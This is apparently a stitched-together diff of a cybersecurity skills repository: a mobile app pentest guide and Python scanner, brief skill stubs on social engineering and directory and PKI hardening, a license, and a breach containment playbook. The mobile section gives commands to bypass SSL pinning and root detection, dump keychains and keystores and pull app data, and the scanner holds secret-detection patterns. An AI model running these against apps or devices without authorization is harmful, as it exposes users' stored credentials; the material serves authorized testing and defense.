# Look for: cleartextTrafficPermitted="true", trust-anchors with user certs
# Analyze native libraries
find output_dir/resources/lib -name "*.so" -exec strings {} \; | grep -i "key\|secret"
```
### Dynamic Analysis
```bash
# Install on device via adb
adb install target.apk
# Start Frida server on device
adb push frida-server /data/local/tmp/
adb shell chmod 755 /data/local/tmp/frida-server
adb shell /data/local/tmp/frida-server &
# Objection — runtime exploration
objection -g com.target.app explore
# Inside Objection:
# List activities and services
android hooking list activities
android hooking list services
# Bypass root detection
android root disable
# Bypass SSL pinning
android sslpinning disable
# Dump keystore
android keystore list
# Enumerate shared preferences
android hooking search classes SharedPreferences
# Monitor clipboard
android clipboard monitor
# Explore filesystem
env
ls /data/data/com.target.app/
file download /data/data/com.target.app/shared_prefs/
file download /data/data/com.target.app/databases/
```
### Data Storage Testing
```bash
# Check shared preferences for sensitive data
adb shell cat /data/data/com.target.app/shared_prefs/*.xml
# Check SQLite databases
adb pull /data/data/com.target.app/databases/app.db
sqlite3 app.db ".dump" | grep -i "password\|token\|session"
# Check for data in external storage
adb shell ls /sdcard/Android/data/com.target.app/
# Check for sensitive data in logs
adb logcat -d | grep -i "token\|password\|session\|api_key"
# Backup extraction
adb backup -apk -shared com.target.app -f backup.ab
java -jar abe.jar unpack backup.ab backup.tar
tar xf backup.tar
```
### Network Traffic Analysis
```bash
# Configure Burp proxy on device
# Settings > WiFi > Proxy > Manual > 192.168.1.100:8080
# Install Burp CA certificate on device
# For apps with certificate pinning:
# Method 1: Objection
objection -g com.target.app explore
android sslpinning disable
# Method 2: Frida script
frida -U -f com.target.app -l ssl_pinning_bypass.js --no-pause
# Method 3: Patch APK
# Use apktool to decompile, modify network_security_config.xml, repack
apktool d target.apk -o decompiled/
# Edit res/xml/network_security_config.xml to trust user CAs
apktool b decompiled/ -o patched.apk
jarsigner -keystore my.keystore patched.apk alias_name
```
## iOS Testing
### Static Analysis
```bash
# Decrypt IPA (from jailbroken device)
# Using frida-ios-dump
python3 dump.py com.target.app
# Or using Clutch on device
Clutch -d com.target.app
# Analyze binary with class-dump
class-dump -H TargetApp -o headers/
grep -rn "password\|token\|secret\|apiKey" headers/
# Check Info.plist
plutil -p Payload/TargetApp.app/Info.plist
# Look for: ATS exceptions, URL schemes, exported UTIs
# Check for insecure API connections
grep -i "http://" headers/*.h
grep -i "NSAllowsArbitraryLoads" Payload/TargetApp.app/Info.plist
```
### Dynamic Analysis (iOS)
```bash
# Frida on iOS
frida -U -f com.target.app -l ios_bypass.js --no-pause
# Objection for iOS
objection -g com.target.app explore
# Inside Objection:
ios sslpinning disable
ios jailbreak disable
ios keychain dump
ios plist cat NSUserDefaults
ios cookies get
ios nsurlcredentialstorage dump
# Check Keychain for stored secrets
objection -g com.target.app explore --startup-command 'ios keychain dump'
# Check for data protection classes
objection -g com.target.app explore --startup-command 'ios info binary'
```
### API Testing
```bash
# Through Burp Suite, test captured API calls:
# Authentication bypass
# Modify JWT tokens, test for algorithm confusion (none, HS256 vs RS256)
# IDOR testing
# Change user identifiers in API requests
# Rate limiting
# Brute force OTP/PIN endpoints
# Input validation
# Test for injection in API parameters
# Business logic
# Manipulate prices, quantities, subscription tiers in requests
```
## OWASP MASVS Checklist
| Category | Test | Status |
|----------|------|--------|
| MASVS-STORAGE-1 | Sensitive data in system logs | [ ] |
| MASVS-STORAGE-2 | Sensitive data in backups | [ ] |
| MASVS-STORAGE-3 | Sensitive data in IPC | [ ] |
| MASVS-CRYPTO-1 | Proper cryptographic APIs | [ ] |
| MASVS-AUTH-1 | Local authentication bypass | [ ] |
| MASVS-NETWORK-1 | TLS with trusted CA | [ ] |
| MASVS-NETWORK-2 | Certificate pinning | [ ] |
| MASVS-PLATFORM-1 | Exported components secured | [ ] |
| MASVS-CODE-1 | Code obfuscation | [ ] |
| MASVS-RESILIENCE-1 | Root/jailbreak detection | [ ] |
## References
- OWASP MASTG: https://mas.owasp.org/MASTG/
- OWASP MASVS: https://mas.owasp.org/MASVS/
- Frida: https://frida.re/
- Objection: https://github.com/sensepost/objection
- MobSF: https://github.com/MobSF/Mobile-Security-Framework-MobSF
- JADX: https://github.com/skylot/jadx
@@ -1,47 +0,0 @@
# Mobile Application Penetration Test — API Reference
## Libraries & Tools
| Tool | Install | Purpose |
|------|---------|---------|
| apktool | `apt install apktool` | Android APK decompilation and recompilation |
| objection | `pip install objection` | Runtime mobile exploration via Frida |
| frida-tools | `pip install frida-tools` | Dynamic instrumentation framework |
| jadx | Binary download | Java decompiler for APK source code |
| MobSF | `docker pull opensecurity/mobile-security-framework-mobsf` | Automated mobile security scanner |
## Key objection Commands
| Command | Description |
|---------|-------------|
| `objection -g <pkg> explore` | Attach to running app |
| `android sslpinning disable` | Bypass SSL certificate pinning |
| `android root disable` | Bypass root detection |
| `android hooking list activities` | List app activities |
| `android keystore list` | Dump Android Keystore entries |
| `android clipboard monitor` | Monitor clipboard content |
## Frida Script Patterns
| Pattern | Purpose |
|---------|---------|
| `Java.use("class").method.implementation` | Hook Java method |
| `Interceptor.attach(addr, {onEnter, onLeave})` | Hook native function |
| `Java.choose("class", {onMatch, onComplete})` | Find live instances |
## OWASP Mobile Top 10 Checks
| ID | Vulnerability |
|----|--------------|
| M1 | Improper Platform Usage |
| M2 | Insecure Data Storage |
| M3 | Insecure Communication |
| M4 | Insecure Authentication |
| M5 | Insufficient Cryptography |
## External References
- [OWASP Mobile Testing Guide](https://owasp.org/www-project-mobile-security-testing-guide/)
- [Frida Documentation](https://frida.re/docs/home/)
- [objection Wiki](https://github.com/sensepost/objection/wiki)
- [apktool Documentation](https://apktool.org/docs/install)
@@ -1,126 +0,0 @@
#!/usr/bin/env python3
"""Mobile application penetration testing agent using Frida and objection."""
import json
import argparse
import subprocess
from datetime import datetime
def run_apktool_decompile(apk_path):
"""Decompile Android APK for static analysis."""
cmd = ["apktool", "d", apk_path, "-o", f"{apk_path}_decompiled", "-f"]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=120)
return {"status": "completed", "output_dir": f"{apk_path}_decompiled"}
except FileNotFoundError:
return {"status": "error", "message": "apktool not installed"}
def check_android_manifest(manifest_path):
"""Analyze AndroidManifest.xml for security issues."""
findings = []
try:
with open(manifest_path, "r") as f:
content = f.read()
checks = [
("android:debuggable=\"true\"", "App is debuggable", "HIGH"),
("android:allowBackup=\"true\"", "App allows backup extraction", "MEDIUM"),
("android:exported=\"true\"", "Exported component found", "MEDIUM"),
("android:usesCleartextTraffic=\"true\"", "Cleartext traffic allowed", "HIGH"),
("android.permission.WRITE_EXTERNAL_STORAGE", "External storage write", "LOW"),
("android.permission.READ_PHONE_STATE", "Phone state access", "MEDIUM"),
]
for pattern, desc, severity in checks:
if pattern.lower() in content.lower():
findings.append({"finding": desc, "pattern": pattern, "severity": severity})
except FileNotFoundError:
findings.append({"error": f"Manifest not found: {manifest_path}"})
return findings
def scan_hardcoded_secrets(source_dir):
"""Scan decompiled source for hardcoded secrets."""
import re
patterns = {
"API Key": re.compile(r'["\'](?:api[_-]?key|apikey)["\']?\s*[:=]\s*["\']([^"\']{20,})["\']', re.I),
"AWS Key": re.compile(r'AKIA[0-9A-Z]{16}'),
"Private Key": re.compile(r'-----BEGIN (?:RSA )?PRIVATE KEY-----'),
"Password": re.compile(r'["\'](?:password|passwd|pwd)["\']?\s*[:=]\s*["\']([^"\']+)["\']', re.I),
"Firebase URL": re.compile(r'https://[a-z0-9-]+\.firebaseio\.com'),
}
findings = []
import os
for root, _, files in os.walk(source_dir):
for fname in files:
if fname.endswith((".smali", ".java", ".xml", ".json", ".properties")):
fpath = os.path.join(root, fname)
try:
with open(fpath, "r", errors="ignore") as f:
content = f.read()
for secret_type, pattern in patterns.items():
matches = pattern.findall(content)
for match in matches:
findings.append({
"type": secret_type,
"file": os.path.relpath(fpath, source_dir),
"severity": "CRITICAL" if "key" in secret_type.lower() else "HIGH",
})
except OSError:
pass
return findings
def check_ssl_pinning(package_name):
"""Check for SSL pinning implementation."""
cmd = ["objection", "-g", package_name, "run", "android", "sslpinning", "disable"]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
return {"ssl_pinning": "enabled" if "error" not in result.stdout.lower() else "not_detected"}
except FileNotFoundError:
return {"status": "error", "message": "objection not installed: pip install objection"}
def run_pentest(apk_path):
"""Execute mobile application penetration test."""
print(f"\n{'='*60}")
print(f" MOBILE APP PENETRATION TEST")
print(f" APK: {apk_path}")
print(f" Generated: {datetime.utcnow().isoformat()} UTC")
print(f"{'='*60}\n")
decomp = run_apktool_decompile(apk_path)
print(f"--- DECOMPILATION ---")
print(f" Status: {decomp['status']}")
if decomp["status"] == "completed":
manifest = check_android_manifest(f"{decomp['output_dir']}/AndroidManifest.xml")
print(f"\n--- MANIFEST ANALYSIS ({len(manifest)} findings) ---")
for f in manifest:
if "error" not in f:
print(f" [{f['severity']}] {f['finding']}")
secrets = scan_hardcoded_secrets(decomp["output_dir"])
print(f"\n--- HARDCODED SECRETS ({len(secrets)} findings) ---")
for s in secrets[:10]:
print(f" [{s['severity']}] {s['type']} in {s['file']}")
return {"decompilation": decomp, "manifest": manifest, "secrets": secrets}
return {"decompilation": decomp}
def main():
parser = argparse.ArgumentParser(description="Mobile App Pentest Agent")
parser.add_argument("--apk", required=True, help="Path to APK file")
parser.add_argument("--output", help="Save report to JSON file")
args = parser.parse_args()
report = run_pentest(args.apk)
if args.output:
with open(args.output, "w") as f:
json.dump(report, f, indent=2, default=str)
print(f"\n[+] Report saved to {args.output}")
if __name__ == "__main__":
main()
@@ -15,6 +15,14 @@ license: Apache-2.0
Social engineering penetration testing assesses an organization's human attack surface through controlled simulation of real-world deception techniques. According to Verizon DBIR 2024, the human element is involved in approximately 68% of all breaches, with phishing remaining the dominant initial access vector. This skill covers phishing, vishing (voice phishing), smishing (SMS phishing), and physical pretexting campaigns using tools like GoPhish, the Social Engineer Toolkit (SET), and Evilginx.
## When to Use
- When conducting security assessments that involve conducting social engineering penetration test
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
## Prerequisites
- Written authorization from senior management (CISO/CTO)
@@ -15,6 +15,14 @@ license: Apache-2.0
A pretext call (vishing) is a social engineering technique where an attacker impersonates a trusted authority figure over the phone to manipulate targets into divulging sensitive information, performing actions, or granting access. In red team engagements, pretext calls test the human element of security controls, measuring employee adherence to verification procedures and security awareness training effectiveness. MITRE ATT&CK maps this to T1566.004 (Phishing for Information: Voice) and T1598 (Phishing for Information).
## When to Use
- When conducting security assessments that involve conducting social engineering pretext call
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
## Prerequisites
- Written authorization specifying social engineering scope and boundaries
@@ -13,6 +13,21 @@ license: Apache-2.0
## Overview
Implement Microsoft's Enhanced Security Admin Environment (ESAE) tiered administration model for Active Directory. Covers Tier 0/1/2 separation, privileged access workstations (PAWs), administrative forest design, authentication policy silos, and credential theft mitigation.
## When to Use
- When deploying or configuring configuring active directory tiered model capabilities in your environment
- When establishing security controls aligned to compliance requirements
- When building or improving security architecture for this domain
- When conducting security assessments that require this implementation
## Prerequisites
- Familiarity with identity access management concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
## Objectives
- Implement comprehensive configuring active directory tiered model capability
- Establish automated discovery and monitoring processes
@@ -15,6 +15,14 @@ license: Apache-2.0
AWS Verified Access is a Zero Trust Network Access (ZTNA) service that provides secure, VPN-less access to corporate applications hosted in AWS. It evaluates each access request in real-time against granular conditional access policies written in the Cedar policy language, ensuring access is granted per-application only when specific security requirements such as user identity and device security posture are met and maintained. Verified Access integrates with AWS IAM Identity Center, third-party identity providers (Okta, CrowdStrike, JumpCloud, Jamf), and device management solutions. For multi-account deployments, AWS Resource Access Manager (RAM) enables sharing Verified Access groups across organizational units.
## When to Use
- When deploying or configuring configuring aws verified access for ztna capabilities in your environment
- When establishing security controls aligned to compliance requirements
- When building or improving security architecture for this domain
- When conducting security assessments that require this implementation
## Prerequisites
- AWS account with appropriate IAM permissions
@@ -14,6 +14,21 @@ license: Apache-2.0
A Certificate Authority (CA) is the trust anchor in a PKI hierarchy, responsible for issuing, signing, and revoking digital certificates. This skill covers building a two-tier CA hierarchy (Root CA + Intermediate CA) using OpenSSL and the Python cryptography library, including CRL distribution, OCSP responder configuration, and certificate policy management.
## When to Use
- When deploying or configuring configuring certificate authority with openssl capabilities in your environment
- When establishing security controls aligned to compliance requirements
- When building or improving security architecture for this domain
- When conducting security assessments that require this implementation
## Prerequisites
- Familiarity with cryptography concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
## Objectives
- Create a Root CA with self-signed certificate
@@ -14,6 +14,21 @@ license: Apache-2.0
Hardware Security Modules (HSMs) are tamper-resistant physical devices that safeguard cryptographic keys and perform cryptographic operations in a hardened environment. Keys stored in an HSM never leave the device boundary, providing the highest level of key protection. This skill covers configuring HSMs using the PKCS#11 standard interface, including key generation, signing, encryption, and key management using both physical HSMs and SoftHSM2 for development.
## When to Use
- When deploying or configuring configuring hsm for key storage capabilities in your environment
- When establishing security controls aligned to compliance requirements
- When building or improving security architecture for this domain
- When conducting security assessments that require this implementation
## Prerequisites
- Familiarity with cryptography concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
## Objectives
- Configure SoftHSM2 as a development PKCS#11 provider
@@ -13,6 +13,21 @@ license: Apache-2.0
## Overview
Harden LDAP directory services against common attacks including credential harvesting, LDAP injection, anonymous binding, and channel binding bypass. Covers LDAPS enforcement, channel binding, LDAP signing, access control lists, and monitoring for LDAP-based attacks.
## When to Use
- When deploying or configuring configuring ldap security hardening capabilities in your environment
- When establishing security controls aligned to compliance requirements
- When building or improving security architecture for this domain
- When conducting security assessments that require this implementation
## Prerequisites
- Familiarity with identity access management concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
## Objectives
- Implement comprehensive configuring ldap security hardening capability
- Establish automated discovery and monitoring processes
@@ -1,201 +0,0 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
@@ -1,186 +0,0 @@
---
name: containing-active-security-breach
description: Rapidly contain an active security breach by isolating compromised systems, blocking attacker communications, and preserving evidence while minimizing business disruption.
domain: cybersecurity
subdomain: incident-response
tags: [incident-response, containment, breach-response, network-isolation, dfir]
version: "1.0"
author: mahipal
license: Apache-2.0
---
# Containing an Active Security Breach
## When to Use
- Active unauthorized access detected on network or systems
- IDS/IPS alerts indicate ongoing exploitation or data exfiltration
- SOC analysts confirm a true positive security incident requiring immediate containment
- Lateral movement or privilege escalation observed in real time
- Ransomware encryption activity detected before full deployment
## Prerequisites
- Incident Response Plan with defined containment procedures
- Network access to firewalls, switches, and endpoint management consoles
- EDR/XDR platform deployed across endpoints (CrowdStrike, SentinelOne, Microsoft Defender for Endpoint)
- SIEM access with real-time log correlation (Splunk, Elastic, QRadar)
- Pre-approved authority to isolate systems (documented in IR plan)
- Forensic imaging tools ready for evidence preservation
## Workflow
### Step 1: Validate and Classify the Incident
```bash
# Check SIEM for correlated alerts - Splunk example
index=security sourcetype=ids_alerts severity=critical
| stats count by src_ip, dest_ip, signature
| where count > 5
| sort -count
# Verify endpoint alerts via CrowdStrike Falcon API
curl -X GET "https://api.crowdstrike.com/detects/queries/detects/v1?filter=status:'new'+max_severity_displayname:'Critical'" \
-H "Authorization: Bearer $FALCON_TOKEN"
```
### Step 2: Identify Scope of Compromise
```bash
# Identify all systems communicating with attacker C2
# Using Zeek connection logs
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p duration orig_bytes resp_bytes \
| awk '$3 == 443 && $5 > 1000000' | sort -t$'\t' -k5 -rn | head -20
# Check for lateral movement in Windows Event Logs
wevtutil qe Security /q:"*[System[(EventID=4624)] and EventData[Data[@Name='LogonType']='3']]" /f:text /c:50
# Query Active Directory for recent authentication anomalies
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4625} -MaxEvents 100 |
Group-Object -Property {$_.Properties[5].Value} | Sort-Object Count -Descending
```
### Step 3: Execute Network Containment
```bash
# Block attacker IP at perimeter firewall (Palo Alto example)
set cli pager off
configure
set rulebase security rules emergency-block from any to any source [attacker_ip] action deny
set rulebase security rules emergency-block from any to any destination [attacker_ip] action deny
commit force
# Isolate compromised VLAN at switch level (Cisco)
configure terminal
interface vlan 100
shutdown
end
write memory
# Block C2 domains at DNS level
# Add to DNS sinkhole or RPZ
echo "attacker-c2-domain.com CNAME ." >> /etc/bind/rpz.local
rndc reload
```
### Step 4: Isolate Compromised Endpoints
```bash
# CrowdStrike - Network contain host via API
curl -X POST "https://api.crowdstrike.com/devices/entities/devices-actions/v2?action_name=contain" \
-H "Authorization: Bearer $FALCON_TOKEN" \
-H "Content-Type: application/json" \
-d '{"ids": ["device_id_1", "device_id_2"]}'
# Microsoft Defender for Endpoint - Isolate machine
curl -X POST "https://api.securitycenter.microsoft.com/api/machines/{machineId}/isolate" \
-H "Authorization: Bearer $MDE_TOKEN" \
-H "Content-Type: application/json" \
-d '{"Comment": "IR-2024-001: Active breach containment", "IsolationType": "Full"}'
# SentinelOne - Disconnect from network
curl -X POST "https://usea1.sentinelone.net/web/api/v2.1/agents/actions/disconnect" \
-H "Authorization: ApiToken $S1_TOKEN" \
-H "Content-Type: application/json" \
-d '{"filter": {"ids": ["agent_id"]}, "data": {}}'
```
### Step 5: Preserve Volatile Evidence Before Full Isolation
```bash
# Capture live memory from compromised Windows host
winpmem_mini_x64.exe memdump_hostname_$(date +%Y%m%d).raw
# Capture network connections and running processes
netstat -anob > netstat_capture_$(date +%Y%m%d_%H%M).txt
tasklist /V /FO CSV > process_list_$(date +%Y%m%d_%H%M).csv
wmic process list full > process_detail_$(date +%Y%m%d_%H%M).txt
# Linux volatile evidence collection
dd if=/proc/kcore of=/mnt/forensics/memory_$(hostname)_$(date +%Y%m%d).raw bs=1M
ss -tulnp > /mnt/forensics/network_$(hostname).txt
ps auxwwf > /mnt/forensics/processes_$(hostname).txt
```
### Step 6: Disable Compromised Accounts
```bash
# Disable compromised Active Directory accounts
Import-Module ActiveDirectory
Disable-ADAccount -Identity "compromised_user"
Set-ADUser -Identity "compromised_user" -Description "Disabled - IR-2024-001 $(Get-Date)"
# Revoke all active sessions
Revoke-AzureADUserAllRefreshToken -ObjectId "user_object_id"
# Reset service account credentials
Set-ADAccountPassword -Identity "svc_compromised" -Reset -NewPassword (ConvertTo-SecureString "TempP@ss$(Get-Random)" -AsPlainText -Force)
```
### Step 7: Validate Containment Effectiveness
```bash
# Verify no active C2 communications
tcpdump -i eth0 host attacker_ip -c 100 -w verification_capture.pcap
# Check for new lateral movement attempts
index=security sourcetype=wineventlog EventCode=4624 LogonType=3
earliest=-15m
| stats count by src_ip, dest_ip
| where src_ip IN ("compromised_hosts")
# Validate endpoint isolation status
curl -X GET "https://api.crowdstrike.com/devices/entities/devices/v2?ids=device_id" \
-H "Authorization: Bearer $FALCON_TOKEN" | jq '.resources[].status'
```
## Key Concepts
| Concept | Description |
|---------|-------------|
| Short-term Containment | Immediate actions to stop active damage (network isolation, account disable) |
| Long-term Containment | Sustainable measures while investigation continues (VLAN segmentation, enhanced monitoring) |
| Evidence Preservation | Capturing volatile data before containment actions destroy forensic artifacts |
| Blast Radius | Total scope of systems, accounts, and data affected by the breach |
| Containment Boundary | Network and logical perimeter established to prevent further spread |
| Kill Chain Disruption | Breaking the attacker's operational chain at the earliest possible stage |
| Business Continuity | Maintaining critical operations while containing the threat |
## Tools & Systems
| Tool | Purpose |
|------|---------|
| CrowdStrike Falcon | Endpoint detection, network containment of hosts |
| Microsoft Defender for Endpoint | Endpoint isolation and automated investigation |
| Palo Alto NGFW | Perimeter firewall rules for IP/domain blocking |
| Splunk/Elastic SIEM | Real-time alert correlation and scope analysis |
| Zeek (Bro) | Network traffic analysis for C2 identification |
| Velociraptor | Remote forensic collection and endpoint querying |
| Active Directory | Account management and authentication control |
## Common Scenarios
1. **Ransomware Pre-Encryption**: Attacker has deployed ransomware binary but encryption hasn't started. Isolate patient zero, block C2, and prevent lateral deployment.
2. **Active Data Exfiltration**: Data is being exfiltrated to external server. Block egress to C2, capture network evidence, isolate affected systems.
3. **Compromised Domain Controller**: Attacker has DC access. Isolate DC from network, reset KRBTGT twice, rotate all privileged credentials.
4. **Supply Chain Compromise**: Malicious update deployed across environment. Block update server, isolate systems that received the update, assess scope.
5. **Insider Threat - Active Exfil**: Employee actively copying sensitive data. Disable account, block USB access, preserve evidence chain.
## Output Format
- Containment action log with timestamps (who, what, when)
- Network isolation verification report
- List of compromised/isolated systems with justification
- Evidence preservation checksums and chain of custody records
- Containment effectiveness validation results
- Stakeholder notification with current status and next steps
@@ -1,130 +0,0 @@
# Breach Containment Action Report
## Incident Information
| Field | Value |
|-------|-------|
| Incident ID | IR-YYYY-NNN |
| Date/Time Detected | YYYY-MM-DD HH:MM UTC |
| Containment Started | YYYY-MM-DD HH:MM UTC |
| Containment Completed | YYYY-MM-DD HH:MM UTC |
| Incident Commander | [Name] |
| Severity Level | [Critical/High/Medium/Low] |
## Incident Summary
[Brief description of the breach - what was detected, initial indicators, how the breach was discovered]
## Scope of Compromise
### Affected Systems
| Hostname | IP Address | Role | Compromise Evidence | Containment Action |
|----------|-----------|------|--------------------|--------------------|
| | | | | |
### Compromised Accounts
| Account Name | Account Type | Last Logon | Containment Action | Status |
|-------------|-------------|------------|-------------------|--------|
| | | | | |
### Affected Data
| Data Classification | Data Type | Volume | Exfiltration Confirmed | Evidence |
|--------------------|-----------|--------|----------------------|----------|
| | | | | |
## Attack Timeline
| Time (UTC) | Event | Source | Details |
|-----------|-------|--------|---------|
| | Initial access detected | | |
| | Lateral movement observed | | |
| | Containment initiated | | |
| | Containment verified | | |
## Containment Actions Taken
### Network Containment
- [ ] Attacker IPs blocked at perimeter firewall
- IPs blocked: [list]
- Firewall rule name/ID: [reference]
- [ ] C2 domains sinkholed
- Domains: [list]
- Method: [DNS sinkhole/RPZ/hosts file]
- [ ] Compromised network segments isolated
- VLANs/subnets: [list]
- Method: [ACL/VLAN shutdown/firewall rule]
### Endpoint Containment
- [ ] Compromised hosts network-contained via EDR
- EDR platform: [CrowdStrike/SentinelOne/MDE]
- Hosts isolated: [list]
- [ ] Malicious processes terminated
- Processes: [list with PIDs]
- [ ] Unauthorized software quarantined
- Files: [list with hashes]
### Identity Containment
- [ ] Compromised user accounts disabled
- Accounts: [list]
- [ ] Active sessions revoked
- Method: [Azure AD/On-prem AD]
- [ ] Service account credentials rotated
- Accounts: [list]
- [ ] MFA tokens reset
- Users: [list]
### DNS/Web Containment
- [ ] Malicious domains blocked at DNS
- [ ] Web proxy rules updated
- [ ] SSL certificates revoked (if applicable)
## Evidence Preserved
### Volatile Evidence (Collected Before Isolation)
| Evidence Type | Host | Collection Time | SHA256 Hash | Collector |
|--------------|------|-----------------|-------------|-----------|
| Memory dump | | | | |
| Network connections | | | | |
| Process list | | | | |
| DNS cache | | | | |
### Network Evidence
| Capture Type | Source | Time Range | File Size | SHA256 Hash |
|-------------|--------|------------|-----------|-------------|
